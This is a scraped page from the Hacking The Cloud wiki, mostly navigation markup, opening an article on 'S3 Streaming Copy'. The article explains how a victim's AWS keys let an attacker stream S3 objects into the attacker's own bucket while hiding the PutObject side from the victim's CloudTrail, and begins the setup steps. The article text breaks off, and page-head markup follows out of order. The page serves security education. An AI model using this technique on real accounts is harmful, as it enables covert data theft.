0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Houston Hopkins</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/s3_streaming_copy.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=s3-streaming-copy>S3 Streaming Copy<a class=headerlink href=#s3-streaming-copy title="Permanent link">&para;</a></h1> <p>Shout Out to Janardhan Prabhakara for showing me this all those years ago!</p> <p>Requirements: a shell, terminal session, command prompt, a victim's AWS Access Key or STS token, an attacker AWS key and bucket to land in a separate account.</p> <p>Why would anyone use this?</p> <p>In many environments AWS to AWS traffic is largely unfiltered and voluminous. As well, an attacker may find a key that can perform GetObject action on S3, but not PutObject. Or perhaphs, more likely, an attacker would like to hide their exfiltration commands. </p> <p>If an attacker lands a shell on an EC2 Instance of the victim, any issued aws commands will be coming from an expected/trusted network which is even less likely to be detected. However, S3 Streaming Copy techniques can also be used from any terminal with aws-cli.</p> <p>When this attack is perfomed the S3 GetObject call is recorded in the VICTIM cloudtrail dataevents (if enabled, which is unlikley) But, the S3 PutObject call is recorded in the ATTACKER's cloudtrail. The VICTIM cannot see the S3 PutObject side of the copy in AWS Cloudtrail.</p> <p>When using the aws-cli utilize the <code>--profile</code> to specify the IAM context profile from the .aws/credentials file.</p> <p>Step 1: setup an profile in .aws/credentials for the ATTACKER credentials. These are credentials from your attacker controlled account aka not the victims credentials <div class=highlight><pre><span></span><code>[attacker]
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#s3-streaming-copy class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 